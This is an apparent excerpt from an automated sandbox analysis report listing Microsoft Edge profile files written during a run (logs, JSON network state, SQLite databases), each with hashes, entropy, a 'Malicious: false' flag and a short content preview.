SSDEEP:	6:cF+ulcM+q2P923oH+Tcwt8NIFUt8PF+ulJZmw+PF+xjMVkwO923oH+Tcwt8+eLJ:icM+v4YebpFUt8LJ/+SjMV5LYebqJ
MD5:	C94D36494AA00C9DB555BADDDD142280
SHA1:	8A4005346DCC21CD42E3736E9A1CCC5ABB7442AE
SHA-256:	EB85CF03036501EF92293AF5D0C3C3D83D2F5537F86DB23DA2613314526AB528
SHA-512:	5EE81991F0315AD41BB4610F8AF801CBA9982C0F6136414030C5A8668172A1914AB489489081ECC7C86C0D6BE3F30867B2B3BB3BF6D8C374D844C3BD33F9AE27
Malicious:	false
Preview:	2024/12/27-02:20:32.521 138c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/12/27-02:20:32.521 138c Recovering log #3.2024/12/27-02:20:32.532 138c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21917635620654863
Encrypted:	false
SSDEEP:	3:SlRtFlljq7A/mhWJFuQ3yy7IOWU7dweytllrE9SFcTp4AGbNCV9RUI84n:WK75fORd0Xi99pEYe4n
MD5:	B1CD331ED2EFB7F72802E21E307735D3
SHA1:	B64B7450C5267C312BC3E2E5E8834B089A23D49A
SHA-256:	B8EECAB64F60E28897116FC84BE801CE8690437C261213F0BABF3F25FC2A2FD4
SHA-512:	9667B9DED67B69A336A12D9641CC0ABD721C8BAE7448DE1B4E47D2007A3382331B860AFB857E8C6984C50E9995422F62750152CB4D41571D53D32FD04023B230
Malicious:	false
Preview:	.............E`....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6481262007522295
Encrypted:	false
SSDEEP:	384:aj9P0LEcAjlrP/KbtpQkQerE773pL9hCgam6ItRKToaAu:adyKlrP/se2E7Pv9RKcC
MD5:	DF0D2FCFE368ECEEB78C13B004DAEDBD
SHA1:	1E9121546F3F0758130C2A37F274C56BCE00B702
SHA-256:	91ED1A0AB9A23419FBD76C4A2435EDC1CCBAB5FC481528342F34159558CA8ABB
SHA-512:	13179A41D9084C4778EFD801A91E2D18B87C5BA662BF08170564DEB9742BD0F93B00D538413B6E6A8D38171E7EFC190E17EAB09C3B396835FC02E9F6A2E5E474
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.240148151407293
Encrypted:	false
SSDEEP:	12:yLv4Yeb8rcHEZrELFUt8hD/+hZ5LYeb8rcHEZrEZSJ:a4Yeb8nZrExg88LYeb8nZrEZe
MD5:	45739BDFFFC5D1525207B597DCA2285C
SHA1:	0B4EEFE888A3A9CD58C24F34024237CA8197D59D
SHA-256:	B6F3B5C00386C384F47F1380D22DB6018F143D41A4D84A820F4C33652A0F5782
SHA-512:	A70FA0FC5E2AD633704E7DD3A3E7B5817AA2184802ED66F34FAB020BCD675A9EB5739BE056CD4B18949BE3D9017DAA969C9FD7EAC8EF584CBE136665AF5155F1
Malicious:	false
Preview:	2024/12/27-02:20:35.842 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/27-02:20:35.843 2e8 Recovering log #3.2024/12/27-02:20:35.843 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	405
Entropy (8bit):	5.240148151407293
Encrypted:	false
SSDEEP:	12:yLv4Yeb8rcHEZrELFUt8hD/+hZ5LYeb8rcHEZrEZSJ:a4Yeb8nZrExg88LYeb8nZrEZe
MD5:	45739BDFFFC5D1525207B597DCA2285C
SHA1:	0B4EEFE888A3A9CD58C24F34024237CA8197D59D
SHA-256:	B6F3B5C00386C384F47F1380D22DB6018F143D41A4D84A820F4C33652A0F5782
SHA-512:	A70FA0FC5E2AD633704E7DD3A3E7B5817AA2184802ED66F34FAB020BCD675A9EB5739BE056CD4B18949BE3D9017DAA969C9FD7EAC8EF584CBE136665AF5155F1
Malicious:	false
Preview:	2024/12/27-02:20:35.842 2e8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/12/27-02:20:35.843 2e8 Recovering log #3.2024/12/27-02:20:35.843 2e8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.654593284274414
Encrypted:	false
SSDEEP:	48:+tZfBWrPM/bXZ7pV03Sx4Lyls5aQnyhw7AHHk2GJ341:+tfKk/D9p2osOdP1
MD5:	204B60D5DE4296398AF82D714B43FF78
SHA1:	96717EA3AC490AED30A8CF78A81393AA1810C5C8
SHA-256:	ED8C4736857FA9EDCF5F2CBC5322276E7A54F591EBBBD2B306B6146AB5FBB9DF
SHA-512:	AE39454C6A23F5F319D8FD78ECAC0484DDEAB622BF5F462DE2844EAEFA9F91D792123B8CBC0C0393AF51235B07AED1F7A06291C6BF0215B70ECC0E8591DBFEDB
Malicious:	false
Preview:	.6.7................VERSION.1..META:https://ntp.msn.com.............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":815}.!_https://ntp.msn.com..LastKnownPV..1735284048715.-_https://ntp.msn.com..LastVisuallyReadyMarker..1735284049847.._https://ntp.msn.com..MUID!.2BA4C89BEAD6644B32BDDDF9EBCF652E.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1735284048841,"schedule":[33,-1,-1,30,-1,4,-1],"scheduleFixed":[33,-1,-1,30,-1,4,-1],"simpleSchedule":[34,27,39,22,24,31,15]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1735284048666.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241220.456"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1036910875788255
Encrypted:	false
SSDEEP:	6:cF+d+q2P923oH+Tcwt8a2jMGIFUt8PF+yXZmw+PF+XVkwO923oH+Tcwt8a2jMmLJ:9+v4Yeb8EFUt81X/+4V5LYeb8bJ
MD5:	B58E165684B0130C53B98C0489268BF8
SHA1:	2D88F24CFE90BFE843AF0DFEBFE0AB5D732A1151
SHA-256:	904542D6908854867C442D6304EC1FC17A8E787989205AC0C46C5E1F1FCEEE2E
SHA-512:	9715C6A573AA4349F1B178BCB0051B6AE849FE60A2EC59CC81069C3120B2C1D7ED3377CF62B638CB6AF8C70457AF2DCBBD78A83F62E32CF977903D18121A0258
Malicious:	false
Preview:	2024/12/27-02:20:32.096 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/27-02:20:32.097 1cbc Recovering log #3.2024/12/27-02:20:32.111 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.1036910875788255
Encrypted:	false
SSDEEP:	6:cF+d+q2P923oH+Tcwt8a2jMGIFUt8PF+yXZmw+PF+XVkwO923oH+Tcwt8a2jMmLJ:9+v4Yeb8EFUt81X/+4V5LYeb8bJ
MD5:	B58E165684B0130C53B98C0489268BF8
SHA1:	2D88F24CFE90BFE843AF0DFEBFE0AB5D732A1151
SHA-256:	904542D6908854867C442D6304EC1FC17A8E787989205AC0C46C5E1F1FCEEE2E
SHA-512:	9715C6A573AA4349F1B178BCB0051B6AE849FE60A2EC59CC81069C3120B2C1D7ED3377CF62B638CB6AF8C70457AF2DCBBD78A83F62E32CF977903D18121A0258
Malicious:	false
Preview:	2024/12/27-02:20:32.096 1cbc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/12/27-02:20:32.097 1cbc Recovering log #3.2024/12/27-02:20:32.111 1cbc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\153ff7bc-0b41-4bbb-9ddf-e01b908f39af.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6af7d95f-d76a-45be-917e-a577a06ee000.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	1664
Entropy (8bit):	5.3239182277647386
Encrypted:	false
SSDEEP:	48:YcgCzsVts9fcKsSleeBkBRseCgHdUbx9+:FSKtkeBkBBTdUV9+
MD5:	1C84F33F3E9293E40171A7373178EC43
SHA1:	88C2EA7D77BBA31DC65A58A63940E384ED123C81
SHA-256:	5753A18E97871672AD156BA305D415D801D45512EBAEBCBDFC8BB012DA3FE01F
SHA-512:	89389EA96DC6E33681B9609AE502AD67B3B6AB5C2F7B216BA54D9B879B8EC381946CBEC150D9B62007B58E31BB68681755865557E9387CAEF8F0176A135934DC
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382349636625147","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13382349639585172","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379851242445459","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\99f0daf4-8524-4232-a606-2f72ac1c923e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7807628369682758
Encrypted:	false
SSDEEP:	192:tTseErm45eLANxCJ/riA0knw9WMKSXcf0L/ZJVb:Vseh45eL+CJ/riAVAhXI0LhJVb
MD5:	9BF600D290F3DD0EEC9C9D9B769BCD4E
SHA1:	2700E2E34FDC4440C41A47B51649E0136A409E24
SHA-256:	06868B0C8BA94772DB4E70020B8D64B769533B8EF28AB3B8EA6696F57CEAFF16
SHA-512:	52C6AE0077B6CA3F96D436DE1F00C72B3434FDC3B1BD5EC64D8FAD495164461EE8A4908A219C56B70133FC17C73DAA2DDEF981FF95FBC9FA92E19ACEEC58BEFD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4cbb8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.2150990772824406
Encrypted:	false
SSDEEP:	48:TaIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB9WB:uIEumQv8m1ccnvS6KqKnv
MD5:	FDCB5A120F6A64396E25331B5D5B0B04
SHA1:	C1625BF0E98F1B49E7EFCB7084E25A8DC6E59013
SHA-256:	B54CCF6C4F450987F7E0B62E5EC479FD7713D38BD350C73A64C78BF17DC5CEBB
SHA-512:	D731848E4BFA073CC0D32A86A3BE3A62BC6ADD453E7DCFC2842A17DA98A12609730A4DC18EE759EDF49595FBB0BE2422D144BF6DE0D6DFE17CE2E11E4ADBB72C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3bc8b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3ceea.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a970722c-d981-4f5d-b1f3-99324efc5571.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f3e412d6-8d42-4eb4-a85a-58e74a7b2a0f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fa201b82-10e8-4a2b-8d09-ec16cd71c292.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
